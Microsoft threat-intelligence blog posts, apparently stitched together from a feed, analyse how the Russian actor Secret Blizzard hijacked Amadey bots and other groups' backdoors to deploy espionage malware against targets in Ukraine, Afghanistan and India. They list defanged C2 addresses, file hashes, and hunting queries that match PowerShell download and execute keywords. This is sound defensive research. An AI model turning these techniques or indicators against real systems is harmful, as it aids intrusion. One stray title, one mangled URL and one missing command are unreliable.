To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.  

The post Frozen in transit: Secret Blizzard’s AiTM campaign against diplomats appeared first on Microsoft Security Blog.

After co-opting the tools and infrastructure of another nation-state threat actor to facilitate espionage activities, as detailed in our last blog, Russian nation-state actor Secret Blizzard used those tools and infrastructure to compromise targets in Ukraine. Microsoft Threat Intelligence has observed that these campaigns consistently led to the download of Secret Blizzard’s custom malware, with the Tavdig backdoor creating the foothold to install their KazuaV2 backdoor.

Between March and April 2024, Microsoft Threat Intelligence observed Secret Blizzard using the Amadey bot malware relating to cybercriminal activity that Microsoft tracks as Storm-1919 to download its backdoors to specifically selected target devices associated with the Ukrainian military. This was at least the second time since 2022 that Secret Blizzard has used a cybercrime campaign to facilitate a foothold for its own malware in Ukraine. Microsoft also assesses that in January 2024, Secret Blizzard used the backdoor of Storm-1837, a Russia-based threat actor that targets Ukrainian military drone pilots, to download the Tavdig and KazuarV2 backdoors on a target device in Ukraine.

Commandeering other threat actors’ access highlights Secret Blizzard’s approach to diversifying its attack vectors, including using strategic web compromises (watering holes) and adversary-in-the-middle (AiTM) campaigns likely facilitated via legally mandated intercept systems in Russia such as the “System for Operative Investigative Activities” (SORM). More commonly, Secret Blizzard uses spear phishing as its initial attack vector, then server-side and edge device compromises to facilitate further lateral movement within a network of interest.

As previously detailed, Secret Blizzard is known for targeting a wide array of sectors, but most prominently ministries of foreign affairs, embassies, government offices, defense departments, and defense-related companies worldwide. Secret Blizzard focuses on gaining long-term access to systems for intelligence collection, often seeking out advanced research and information of political importance, using extensive resources such as multiple backdoors. The United States Cybersecurity and Infrastructure Security Agency (CISA) has attributed Secret Blizzard to Center 16 of Russia’s Federal Security Service (FSB). Secret Blizzard overlaps with the threat actor tracked by other security vendors as Turla, Waterbug, Venomous Bear, Snake, Turla Team, and Turla APT Group.

Microsoft tracks Secret Blizzard campaigns and, when we are able, directly notifies customers who have been targeted or compromised, providing them with the necessary information to help secure their environments. As part of our continuous monitoring, analysis, and reporting on the threat landscape, we are sharing our research on Secret Blizzard’s activity to raise awareness of this threat actor’s tradecraft and to educate organizations on how to harden their attack surfaces against this and similar activity. In addition, we highlight that while Secret Blizzard’s use of infrastructure and access by other threat actors is unusual, it is not unique, and therefore organizations that have been compromised by one threat actor may also find themselves compromised by another through the initial intrusion.

Amadey bot use and post-compromise activities

Between March and April 2024, Microsoft observed Secret Blizzard likely commandeering Amadey bots to ultimately deploy their custom Tavdig backdoor. Microsoft tracks some cybercriminal activity associated with Amadey bots as Storm-1919. Storm-1919’s post-infection goal is most often to deploy XMRIG cryptocurrency miners onto victim devices. Amadey bots have been deployed by Secret Blizzard and other threat actors comprising Storm-1919 to numerous devices around the world during 2024.

Microsoft assesses that Secret Blizzard either used the Amadey malware as a service (MaaS) or accessed the Amadey command-and-control (C2) panels surreptitiously to download a PowerShell dropper on target devices. The PowerShell dropper contained a Base64-encoded Amadey payload appended by code that invoked a request to Secret Blizzard C2 infrastructure.

The Amadey instance was version 4.18, but generally had the same functionality as the Amadey bot described in a Splunk blog from July 2023 analyzing version 3.83.

The Amadey sample gathered a significant amount of information about the victim system, including the administrator status and device name from the registry, and checked for installed antivirus software by seeing if it had a folder in C:\ProgramData. Numbers were recorded for each software found and likely sent back to the C2:

• Avast Software
  • Avira
  • Kaspersky Lab
  • ESET
  • Panda Security
  • Doctor Web
  • AVG
  • 360TotalSecurity
  • Bitdefender
  • Norton
  • Sophos
  • Comodo

The retrieved information was gathered from the system to be encoded into the communication sent to the C2 at http://vitantgroup[.]com/xmlrpc.php. The Amadey bot then attempted to download two plugins from the C2 server:

• hxxp://vitantgroup[.]com/Plugins/cred64.dll
• hxxp://vitantgroup[.]com/Plugins/clip64.dll

Microsoft did not observe the two DLLs on the devices accessed by Secret Blizzard, but it is likely that they performed the same role as in other similar Amadey bots—to collect clipboard data and browser credentials. The need to encode the PowerShell dropper with a separate C2 URL controlled by Secret Blizzard could indicate that Secret Blizzard was not directly in control of the C2 mechanism used by the Amadey bot.

Subsequently, Microsoft observed Secret Blizzard downloading their custom reconnaissance or survey tool. This tool was selectively deployed to devices of further interest by the threat actor—for example, devices egressing from STARLINK IP addresses, a common signature of Ukrainian front-line military devices. The survey tool consisted of an executable that decrypted a batch script or cmdlets at runtime using what appears to be a custom RC4 algorithm. One of the batch scripts invoked the following command:

The batch script collected a survey of the victim device, including the directory tree, system information, active sessions, IPv4 route table, SMB shares, enabled security groups, and time settings. This information was encrypted using the same RC4 function and transmitted to the previously referenced Secret Blizzard C2 server at hxxps://citactica[.]com/wp-content/wp-login.php.

In another use of the survey tool observed by Microsoft Threat Intelligence, the executable simply decrypted the cmdlet dir “%programdata%\Microsoft\Windows Defender\Support. The %programdata%\Microsoft\Windows Defender\Support folder contains various Microsoft Defender logs, such as entries of detected malicious files.

Microsoft assesses that this cmdlet was invoked to determine if Microsoft Defender was enabled and whether previous Amadey activity had been flagged by the engine. Since several of the targeted devices observed by Microsoft had Microsoft Defender disabled during initial infection, the Secret Blizzard implants were only observed by Microsoft weeks or months after initial malware deployment.

Microsoft assesses that Secret Blizzard generally used the survey tool to determine if a victim device was of further interest, in which case it would deploy a PowerShell dropper containing the Tavdig backdoor payload (rastls.dll) and a legitimate Symantec binary with the name (kavp.exe), which is susceptible to DLL-sideloading.  The C2 configuration for Tavdig was:

• hxxps://icw2016.coachfederation[.]cz/wp-includeshttps://www.microsoft.com/images/wp/
• hxxps://hospitalvilleroy[.]com[.]br/wp-includes/fonts/icons/

On several of the victim devices, the Tavdig loader was deployed using an executable named procmap.exe, which used the Microsoft Macro Assembler (MASM) compiler (QEditor). Microsoft assesses that procmap.exe was used to compile and run malicious ASM files on victim devices within Ukraine in March 2024, which then invoked a PowerShell script that subsequently loaded the Amadey bots and the Tavdig backdoor.

Secret Blizzard then used the Tavdig backdoor—loaded into kavp.exe—to conduct further reconnaissance on the device, including user info, netstat, and installed patches. Secret Blizzard also used Tavdig to import a registry file into the registry of the victim device, which likely installed the persistence mechanism and payload for the KazuarV2 backdoor.

Figure 3. Example of how Amadey bots were used to load the Tavdig backdoor

The KazuarV2 payload was often injected into a browser process such as explorer.exe or opera.exe to facilitate command and control with compromised web servers hosting the Secret Blizzard relay and encryption module (index.php). This module facilitated encryption and onward transmission of command output and exfiltrated data from the affected device to the next-level Secret Blizzard infrastructure. 

Storm-1837 PowerShell backdoor use

Microsoft has observed Storm-1837 (overlaps with activity tracked by other security providers as Flying Yeti and UAC-0149) targeting devices belonging to the military of Ukraine since December 2023. Storm-1837 is a Russia-based threat actor that has focused on devices used by Ukrainian drone operators. Storm-1837 uses a range of PowerShell backdoors including the backdoor that the Computer Emergency Response Team of Ukraine (CERT-UA) has named Cookbox as well as an Android backdoor impersonating a legitimate system used for AI processing called “Griselda”, which according to CERT-UA is based on the Hydra Android banking malware and facilitates the collection of session data (HTTP cookies), contacts, and keylogging. In May 2024, Cloudflare detailed a Storm-1837 espionage phishing campaign against Ukrainian military devices for which Storm-1837 used both GitHub and Cloudflare for staging and C2.

In January 2024, Microsoft observed a military-related device in Ukraine compromised by a Storm-1837 backdoor configured to use the Telegram API to launch a cmdlet with credentials (supplied as parameters) for an account on the file-sharing platform Mega. The cmdlet appeared to have facilitated remote connections to the account at Mega and likely invoked the download of commands or files for launch on the target device. When the Storm-1837 PowerShell backdoor launched, Microsoft noted a PowerShell dropper deployed to the device. The dropper was very similar to the one observed during the use of Amadey bots and contained two base64 encoded files containing the previously referenced Tavdig backdoor payload (rastls.dll) and the Symantec binary (kavp.exe).

As with the Amadey bot attack chain, Secret Blizzard used the Tavdig backdoor loaded into kavp.exe to conduct initial reconnaissance on the device. Secret Blizzard then used Tavdig to import a registry file, which was used to install and provide persistence for the KazuarV2 backdoor, which was subsequently observed launching on the affected device.

Although Microsoft did not directly observe the Storm-1837 PowerShell backdoor downloading the Tavdig loader, based on the temporal proximity between the execution of the Storm-1837 backdoor and the observation of the PowerShell dropper, Microsoft assesses that it is likely that the Storm-1837 backdoor was used by Secret Blizzard to deploy the Tavdig loader.

Summary assessments

Microsoft Threat Intelligence is still investigating how Secret Blizzard gained control of the Storm-1837 backdoor or Amadey bots to download its own tools onto devices in Ukraine. It is possible, for example, that Secret Blizzard operators could have purchased the use of Amadey bots, or it may have surreptitiously commandeered a part of the Amadey attack chain.

Regardless of the means, Microsoft Threat Intelligence assesses that Secret Blizzard’s pursuit of footholds provided by or stolen from other threat actors highlights this threat actor’s prioritization of accessing military devices in Ukraine. During its operations, Secret Blizzard has used an RC4 encrypted executable to decrypt various survey cmdlets and scripts, a method Microsoft assesses Secret Blizzard is likely to use beyond the immediate campaign discussed here.

Secret Blizzard deployed tools to these (non-domain-joined) devices that are encoded for espionage against large domain-joined environments. However, this threat actor has also built new functionality into them to make them more relevant for the espionage specifically conducted against Ukrainian military devices. In addition, Microsoft assesses Secret Blizzard has likely also attempted to use these footholds to tunnel and escalate toward strategic access at the Ministry level.

When parts one and two of this blog series are taken together, it indicates that Secret Blizzard has been using footholds from third parties—either by surreptitiously stealing or purchasing access—as a specific and deliberate method to establish footholds of espionage value. Nevertheless, Microsoft assesses that while this approach has some benefits that could lead more threat adversaries to use it, it is of less use against hardened networks, where good endpoint and network defenses enable the detection of activities of multiple threat adversaries for remediation.

Mitigations

To harden networks against the Secret Blizzard activity listed above, defenders can implement the following:

Strengthen Microsoft Defender for Endpoint configuration

• Microsoft Defender XDR customers can implement attack surface reduction rules to harden an environment against techniques used by threat actors.
  • Block execution of potentially obfuscated scripts.
  • Block process creations originating from PSExec and WMI commands.
  • Block executable files from running unless they meet a prevalence, age, or trusted list criterion.
  • Block abuse of exploited vulnerable signed drivers.
  • Block Webshell creation for Servers.
• Enable network protection in Microsoft Defender for Endpoint.
• Ensure that tamper protection is enabled in Microsoft Defender for Endpoint.
• Run endpoint detection and response in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode.
• Configure investigation and remediation in full automated mode to let Microsoft Defender for Endpoint take immediate action on alerts to resolve breaches, significantly reducing alert volume.

Strengthen Microsoft Defender Antivirus configuration

• Turn on PUA protection in block mode in Microsoft Defender Antivirus.
• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving threat actor tools and techniques.
• Turn on Microsoft Defender Antivirus real-time protection.

Strengthen operating environment configuration

• Encourage users to use Microsoft Edge and other web browsers that support SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware. Implement PowerShell execution policies to control conditions under which PowerShell can load configuration files and run scripts.
• Turn on and monitor PowerShell module and script block logging.
• Implement PowerShell execution policies to control conditions under which PowerShell can load configuration files and run scripts.
• Turn on and monitor PowerShell module and script block logging.

Microsoft Defender XDR detections

Microsoft Defender Antivirus

Microsoft Defender Antivirus detects this threat as the following malware:

• Trojan:Win32/Tavdig.Crypt
• Trojan:JS/Kazuar.A

Microsoft Defender Antivirus detects additional threat components that may be related as the following malware:

• Trojan:Win32/Amadey
• Trojan:MSIL/Amadey
• TrojanDownloader:Win32/Amadey

Microsoft Defender for Endpoint

The following alerts might also indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity and are not monitored in the status cards provided with this report.

• Secret Blizzard Actor activity detected

Hunting queries

Microsoft Defender XDR

Surface instances of the Secret Blizzard indicators of compromise file hashes. 

let fileHashes = dynamic(["Ee8ef58f3bf0dab066eb608cb0f167b1585e166bf4730858961c192860ceffe9", 
"d26ac1a90f3b3f9e11491f789e55abe5b7d360df77c91a597e775f6db49902ea", 
"d7e528b55b2eeb6786509664a70f641f14d0c13ceec539737eef26857355536e", 
"dfdc0318f3dc5ba3f960b1f338b638cd9645856d2a2af8aa33ea0f9979a9ca4c", 
"ced8891ea8d87005de989f25f0f94634d1fc70ebb37302cf21aa0c0b0e13350f", 
"Ee8ef58f3bf0dab066eb608cb0f167b1585e166bf4730858961c192860ceffe9"]);
union
(
   DeviceFileEvents
   | where SHA256 in (fileHashes)
   | project Timestamp, FileHash = SHA256, SourceTable = "DeviceFileEvents"
),
(
   DeviceEvents
   | where SHA256 in (fileHashes)
   | project Timestamp, FileHash = SHA256, SourceTable = "DeviceEvents"
),
(
   DeviceImageLoadEvents
   | where SHA256 in (fileHashes)
   | project Timestamp, FileHash = SHA256, SourceTable = "DeviceImageLoadEvents"
),
(
   DeviceProcessEvents
   | where SHA256 in (fileHashes)
   | project Timestamp, FileHash = SHA256, SourceTable = "DeviceProcessEvents"
)
| order by Timestamp desc

Surface instances of the Secret Blizzard indicators of compromise C2s.

let domainList = dynamic(["citactica.com", "icw2016.coachfederation.cz", "hospitalvilleroy.com.br", "vitantgroup.com", "brauche-it.de", "okesense.oketheme.com", "coworkingdeamicis.com", "plagnol-charpentier.fr"]);
union
(
    DnsEvents
    | where QueryType has_any(domainList) or Name has_any(domainList)
    | project TimeGenerated, Domain = QueryType, SourceTable = "DnsEvents"
),
(
    IdentityQueryEvents
    | where QueryTarget has_any(domainList)
    | project Timestamp, Domain = QueryTarget, SourceTable = "IdentityQueryEvents"
),
(
    DeviceNetworkEvents
    | where RemoteUrl has_any(domainList)
    | project Timestamp, Domain = RemoteUrl, SourceTable = "DeviceNetworkEvents"
),
(
    DeviceNetworkInfo
    | extend DnsAddresses = parse_json(DnsAddresses), ConnectedNetworks = parse_json(ConnectedNetworks)
    | mv-expand DnsAddresses, ConnectedNetworks
    | where DnsAddresses has_any(domainList) or ConnectedNetworks.Name has_any(domainList)
    | project Timestamp, Domain = coalesce(DnsAddresses, ConnectedNetworks.Name), SourceTable = "DeviceNetworkInfo"
),
(
    VMConnection
    | extend RemoteDnsQuestions = parse_json(RemoteDnsQuestions), RemoteDnsCanonicalNames = parse_json(RemoteDnsCanonicalNames)
    | mv-expand RemoteDnsQuestions, RemoteDnsCanonicalNames
    | where RemoteDnsQuestions has_any(domainList) or RemoteDnsCanonicalNames has_any(domainList)
    | project TimeGenerated, Domain = coalesce(RemoteDnsQuestions, RemoteDnsCanonicalNames), SourceTable = "VMConnection"
),
(
    W3CIISLog
    | where csHost has_any(domainList) or csReferer has_any(domainList)
    | project TimeGenerated, Domain = coalesce(csHost, csReferer), SourceTable = "W3CIISLog"
),
(
    EmailUrlInfo
    | where UrlDomain has_any(domainList)
    | project Timestamp, Domain = UrlDomain, SourceTable = "EmailUrlInfo"
),
(
    UrlClickEvents
    | where Url has_any(domainList)
    | project Timestamp, Domain = Url, SourceTable = "UrlClickEvents"
)
| order by TimeGenerated desc

Additional hunting for likely malicious PowerShell commands queries can be found in this repository.

Look for PowerShell execution events that might involve a download. 

// Finds PowerShell execution events that could involve a download.
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe", "powershell_ise.exe")
| where ProcessCommandLine has "Net.WebClient"
or ProcessCommandLine has "DownloadFile"
or ProcessCommandLine has "Invoke-WebRequest"
or ProcessCommandLine has "Invoke-Shellcode"
or ProcessCommandLine has "http"
or ProcessCommandLine has "IEX"
or ProcessCommandLine has "Start-BitsTransfer"
or ProcessCommandLine has "mpcmdrun.exe"
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine

Look for encoded PowerShell execution events. 

// Detect Encoded PowerShell
DeviceProcessEvents
| where ProcessCommandLine matches regex @'(\s+-((?i)encod?e?d?c?o?m?m?a?n?d?|e|en|enc|ec)\s).*([A-Za-z0-9+/]{50,}[=]{0,2})'
| extend DecodedCommand = replace(@'\x00','', base64_decode_tostring(extract("[A-Za-z0-9+/]{50,}[=]{0,2}",0 , ProcessCommandLine)))

Microsoft Sentinel

Look for encoded PowerShell. 

id: f58a7f64-acd3-4cf6-ab6d-be76130cf251
name: Detect Encoded Powershell
description: |	
This query will detect encoded Powershell based on the parameters passed during process creation. This query will also work if the PowerShell executable is renamed or tampered with since detection is based solely on a regex of the launch string.
requiredDataConnectors:
- connectorId: MicrosoftThreatProtection
dataTypes:
- DeviceProcessEvents
tactics:
- Execution
query: |
DeviceProcessEvents
| where ProcessCommandLine matches regex @'(\s+-((?i)encod?e?d?c?o?m?m?a?n?d?|e|en|enc|ec)\s).*([A-Za-z0-9+/]{50,}[=]{0,2})'
| extend DecodedCommand = replace(@'\x00','', base64_decode_tostring(extract("[A-Za-z0-9+/]{50,}[=]{0,2}",0 , ProcessCommandLine)))

Look for PowerShell downloads. 

id: c34d1d0e-1cf4-45d0-b628-a2cfde329182
name: PowerShell downloads
description: |
Finds PowerShell execution events that could involve a download.
requiredDataConnectors:
- connectorId: MicrosoftThreatProtection
dataTypes:
- DeviceProcessEvents
query: |
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe", "powershell_ise.exe")
| where ProcessCommandLine has "Net.WebClient"
or ProcessCommandLine has "DownloadFile"
or ProcessCommandLine has "Invoke-WebRequest"
or ProcessCommandLine has "Invoke-Shellcode"
or ProcessCommandLine has "http"
or ProcessCommandLine has "IEX"
or ProcessCommandLine has "Start-BitsTransfer"
or ProcessCommandLine has "mpcmdrun.exe"
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine

Threat intelligence reports

Microsoft customers can use the following reports in Microsoft products to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments. Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal, to get more information about this threat actor.

• Secret Blizzard using peer and cybercriminal infrastructure to target devices in Ukraine

Indicators of compromise

References

• https://securelist.com/the-epic-turla-operation/65545/ 
• https://www.darkreading.com/endpoint-security/upgraded-kazuar-backdoor-offers-stealthy-power 
• https://cyble.com/blog/the-rise-of-amadey-bot-a-growing-concern-for-internet-security/
• https://www.welivesecurity.com/2020/03/12/tracking-turla-new-backdoor-armenian-watering-holes/
• https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/
• https://www.welivesecurity.com/2018/01/09/turlas-backdoor-laced-flash-player-installer/
• https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-129a
• https://attack.mitre.org/groups/G0010/
• https://www.splunk.com/en_us/blog/security/amadey-threat-analysis-and-detections.html
• https://blog.cloudflare.com/disrupting-flyingyeti-campaign-targeting-ukraine/
• https://socprime.com/blog/uac-0149-attack-detection-hackers-launch-a-targeted-attack-against-the-armed-forces-of-ukraine-as-cert-ua-reports/
• https://cert.gov.ua/article/6278620
• https://www.theregister.com/2024/05/31/crowdforce_flyingyeti_ukraine/
• https://www.zdnet.com/article/malware-authors-are-still-abusing-the-heavens-gate-technique/

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://twitter.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post Frequent freeloader part II: Russian actor Secret Blizzard using tools of other groups to attack Ukraine appeared first on Microsoft Security Blog.

Based on both Microsoft Threat Intelligence’s findings and those reported by governments and other security vendors, we assess that the Russian nation-state actor tracked as Secret Blizzard has used the tools and infrastructure of at least six other threat actors during the past seven years. They also have actively targeted infrastructure where other threat actors have staged exfiltrated data from victims with the intention of collecting this data for their own espionage program. We assess that Secret Blizzard’s use of other actors’ infrastructure and tools, both state-sponsored and cybercriminal, is exclusively for facilitating espionage operations.

In this first of a two-part blog series, we discuss how Secret Blizzard has used the infrastructure of the Pakistan-based threat activity cluster we call Storm-0156 — which overlaps with the threat actor known as SideCopy, Transparent Tribe, and APT36 — to install backdoors and collect intelligence on targets of interest in South Asia. Microsoft Threat Intelligence partnered with Black Lotus Labs, the threat intelligence arm of Lumen Technologies, to confirm that Secret Blizzard command-and-control (C2) traffic emanated from Storm-0156 infrastructure, including infrastructure used by Storm-0156 to collate exfiltrated data from campaigns in Afghanistan and India. We thank the Black Lotus Team for recognizing the impact of this threat and collaborating on investigative efforts. In the second blog, Microsoft Threat Intelligence will be detailing how Secret Blizzard has used Amadey bots and the PowerShell backdoor of two other threat actors to deploy the Tavdig backdoor and then use that foothold to install their KazuarV2 backdoor on target devices in Ukraine.

Microsoft Threat Intelligence tracks Secret Blizzard campaigns and, when we are able, directly notifies customers who have been targeted or compromised, providing them with the necessary information to help secure their environments. As part of our continuous monitoring, analysis, and reporting on the threat landscape, we are sharing our research on Secret Blizzard’s activity to raise awareness of this threat actor’s tradecraft and to educate organizations on how to harden their attack surfaces against this and similar activity. In addition, we highlight that, while Secret Blizzard’s use of infrastructure and access by other threat actors is unusual, it is not unique. Therefore, organizations compromised by one threat actor may also find themselves compromised by another through the initial intrusion.

Who is Secret Blizzard?

The United States Cybersecurity and Infrastructure Security Agency (CISA) has attributed Secret Blizzard to Center 16 of Russia’s Federal Security Service (FSB), which is one of Russia’s Signals Intelligence and Computer Network Operations (CNO) services responsible for intercepting and decrypting electronic data as well as the technical penetration of foreign intelligence targets. Secret Blizzard overlaps with the threat actor tracked by other security vendors as Turla, Waterbug, Venomous Bear, Snake, Turla Team, and Turla APT Group.

Secret Blizzard is known for targeting a wide array of verticals, but most prominently ministries of foreign affairs, embassies, government offices, defense departments, and defense-related companies worldwide. Secret Blizzard focuses on gaining long-term access to systems for intelligence collection using extensive resources such as multiple backdoors, including some with peer-to-peer functionality and C2 communication channels. During intrusions, the threat actor collects and exfiltrates documents, PDFs, and email content. In general, Secret Blizzard seeks out information of political importance with a particular interest in advanced research that might impact international political issues. Campaigns where Secret Blizzard has used the tools or compromised infrastructure of other threat adversaries that have been publicly reported by other security vendors include:

• Accessing tools and infrastructure of Iranian state-sponsored threat actor Hazel Sandstorm (also called OilRig, APT-34 and Crambus) in 2017, as reported by Symantec and the US and UK intelligence services
• Reusing Andromeda malware to deploy the KopiLuwak and QuietCanary backdoors in 2022, as reported by Mandiant.
• Using the backdoor of the Kazakhstan-based threat actor tracked by Microsoft Threat Intelligence as Storm-0473, also called Tomiris, in an attempt to deploy QuietCanary in 2022, as reported by Kaspersky.

While not unique, leveraging the access of other adversaries is a somewhat unusual attack vector for threat actors in general. Secret Blizzard’s use of this technique highlights their approach to diversifying attack vectors, including using strategic web compromises (watering holes) and adversary-in-the-middle (AiTM) campaigns likely facilitated via legally mandated intercept systems in Russia such as the “System for Operative Investigative Activities” (SORM). More commonly, Secret Blizzard uses server-side and edge device compromises as initial attack-vectors to facilitate further lateral movement within a network of interest.

Compromise and post-compromise activities

Since November 2022, Microsoft Threat Intelligence has observed Secret Blizzard compromising the C2 infrastructure of a Pakistan-based espionage cluster that we track as Storm-0156. Secret Blizzard has used Storm-0156’s backdoors to deploy their own backdoors to compromised devices. In addition, Secret Blizzard tools have been deployed to virtual private servers (VPS) staging Storm-0156’s exfiltrated data.

The initial access mechanism used by Secret Blizzard to compromise Storm-0156 infrastructure is currently not known. In some instances, observed by Microsoft Threat Intelligence, Storm-0156 appeared to have used the C2 server for a considerable amount of time, while in other observed incidents Storm-0156 began accessing the VPS when Secret Blizzard deployed tools.

On the VPS used for C2, Storm-0156 operators consistently deploy a tool with the filename ArsenalV2%.exe. This is a server-side C2 tool that Microsoft Threat Intelligence refers to as Arsenal. Arsenal is an executable built on top of the cross-platform application development framework QtFramework, indicating it may also be deployed on operating systems other than Windows. Upon execution, Arsenal listens over a hardcoded port for incoming requests from controlled devices. Once connected, the tool enables threat actors to upload or download files to or from the device on which it is deployed.

When Arsenal is deployed, at least two SQLite3 databases, named ConnectionInfo.db and DownloadPriority.db, are set up. Arsenal uses these databases to store and look up information in different tables, such as:

• Uploaded files and a distinct username of the uploader
• Affected device information, including IP address, location, operating system version, and installed antivirus software
• Network connection events, duration of the session, and timestamps like the disconnect and connect time

Initially, Secret Blizzard deployed a fork of the TinyTurla backdoor to Storm-0156 C2 servers. However, since October 2023, Secret Blizzard predominantly has been using a .NET backdoor that Microsoft Threat Intelligence refers to as TwoDash alongside a clipboard monitoring tool referred to as Statuezy. Shortly after we observed the deployment of these capabilities, our partner Black Lotus Labs observed C2 communication from the Storm-0156 C2 infrastructure to dedicated Secret Blizzard C2s. This privileged position on Storm-0156 C2s has allowed Secret Blizzard to commandeer Storm-0156 backdoors such as CrimsonRAT, which was previously observed in Storm-0156 campaigns in 2023 and earlier, and a Storm-0156 Golang backdoor we refer to as Wainscot.

Storm-0156 extensively uses a renamed version (cridviz.exe, crezly.exe) of the Credential Backup and Restore Wizard, credwiz.exe which is vulnerable to DLL-sideloading, to load malicious payloads using a file name DUser.dll. Secret Blizzard often drops their own malicious payloads into a directory separate from that used by Storm-0156, but also uses credwiz.exe to load their malicious payload in a file called duser.dll. This DLL may contain a simple Meterpreter-like backdoor referred to as MiniPocket or the previously referenced TwoDash .NET backdoor. Secret Blizzard’s use of DLL-sideloading using the same legitimate executable and malicious payloads having similar names to those used by Storm-0156 may indicate Secret Blizzard attempts to masquerade as Storm-0156. Another Search-Order-Hijack used by Secret Blizzard is the deployment of TwoDash into the directory c:\windows\system32 with the filename oci.dll and then using the default Windows installation Distributed Transaction Coordinator, msdtc.exe, to DLL-sideload the malicious payload in oci.dll as described by a Penetration Testing Lab blog published in 2020.

In August 2024, Microsoft observed Secret Blizzard using a CrimsonRAT compromise that Storm-0156 had established in March 2024. Secret Blizzard is assessed to have commandeered the CrimsonRAT backdoor to download and execute Secret Blizzard’s TwoDash backdoor. Additionally, Microsoft observed instances of Secret Blizzard accessing Storm-0156’s CrimsonRAT on target devices in India. One of these CrimsonRAT deployments was configured with a C2 server at Contabo (ur253.duckdns[.]org: 45.14.194[.]253), where Secret Blizzard had deployed the clipboard monitor tool in January, February, and September 2024. Between May and August 2024, Black Lotus Labs confirmed network activity indicating backdoor communication from this same CrimsonRAT C2 to known Secret Blizzard infrastructure.

Secret Blizzard backdoors deployed on Storm-0156 infrastructure

TinyTurla variant

Similar to the TinyTurla backdoor reported by Cisco Talos in 2021, the TinyTurla variant is installed using a batch file and disguises itself as a Windows-based service. The batch file also configures a variety of registry keys used by the malware including Delay (sleep time), Key (public key), and Hosts (C2 addresses).

While there is not complete feature parity between the TinyTurla variant sample and the sample analyzed by Cisco Talos, there are significant functional and code overlaps.

TwoDash

TwoDash is a custom downloader comprised of two main components: a native Win32/64 PE file and a .NET application. The native binary acts as a loader for the .NET application which it decrypts and executes. The .NET application conducts a basic device survey and sends this information to the configured C2 servers. Finally, it waits for follow-on tasks, which are compiled as additional .NET assemblies/modules.

Statuezy

Statuezy is a custom trojan that monitors and logs data saved to the Windows clipboard. Each time the clipboard is updated with new data, the trojan saves the current timestamp, associated clipboard format (such as CF_TEXT), and the clipboard data itself to a temporary file which we assess is exfiltrated by a separate malware family.

MiniPocket

MiniPocket is a small custom downloader that connects to a hardcoded IP address/port using TCP to retrieve and execute a second-stage binary.

Storm-0156 backdoors used in this campaign

Wainscot

Wainscot is a Golang-based backdoor seen in the wild since at least October 2023. This backdoor can handle various commands from C2, including launching arbitrary commands, uploading and downloading files, and taking screenshots on the target host. Though Microsoft Threat Intelligence has primarily observed this backdoor targeting Windows users, we also have identified public reports of a possible Wainscot variant targeting Linux-based platforms. Interestingly, this Linux variant has far more features than the Windows variant.

CrimsonRAT

CrimsonRAT is a .NET-based backdoor with varied capabilities that has gone through multiple iterations over the years. The most recent variant of CrimsonRAT analyzed by Microsoft Threat Intelligence can gather system information, list running processes, file information, download or upload files, and execute arbitrary commands on target. We also have observed CrimsonRAT dropping additional modules to act as a keylogger on the target host.

Who has been affected by Secret Blizzard’s compromises using Storm-0156 infrastructure?

In Afghanistan, Secret Blizzard generally has used their positions on Storm-0156 C2 servers to deploy backdoors to devices within the extended Afghan government—including the Ministry of Foreign Affairs, the General Directorate of Intelligence (GDI), and foreign consulates of the government of Afghanistan. In each of these cases, we observed the deployment of Storm-0156 backdoors which were subsequently used to download the Secret Blizzard tools to target devices in Afghanistan.

In India, Secret Blizzard generally appears to have avoided direct deployment via Storm-0156 backdoors, instead deploying Secret Blizzard backdoors to C2 servers or Storm-0156 servers hosting data exfiltrated from Indian military and defense-related institutions. We observed only one instance of Secret Blizzard using a Storm-0156 backdoor to deploy the TwoDash backdoor to a target desktop in India. The difference in Secret Blizzard’s approach in Afghanistan and India could reflect political considerations within the Russian leadership, differing geographical areas of responsibility within the FSB, or a collection gap on Microsoft Threat Intelligence’s part.    

Conclusion

The frequency of Secret Blizzard’s operations to co-opt or commandeer the infrastructure or tools of other threat actors suggests that this is an intentional component of Secret Blizzard’s tactics and techniques. Leveraging this type of resource has both advantages and drawbacks. Taking advantage of the campaigns of others allows Secret Blizzard to establish footholds on networks of interest with relatively minimal effort. However, because these initial footholds are established on another threat actor’s targets of interest, the information obtained through this technique may not align entirely with Secret Blizzard’s collection priorities. In addition, if the threat actor that established the initial foothold has poor operational security, this technique might trigger endpoint or network security alerts on the tools deployed by the actor conducting the initial compromise, resulting in unintended exposure of Secret Blizzard activity.

Mitigation and protection guidance

To harden networks against the Secret Blizzard activity listed above, defenders can implement the following:

Strengthen Microsoft Defender for Endpoint configuration

• Microsoft Defender XDR customers can implement attack surface reduction rules to harden an environment against techniques used by threat actors
  • Block execution of potentially obfuscated scripts
  • Block process creations originating from PSExec and WMI commands
  • Block executable files from running unless they meet a prevalence, age, or trusted list criterion
  • Block abuse of exploited vulnerable signed drivers
  • Block Webshell creation for Servers
• Enable network protection in Microsoft Defender for Endpoint
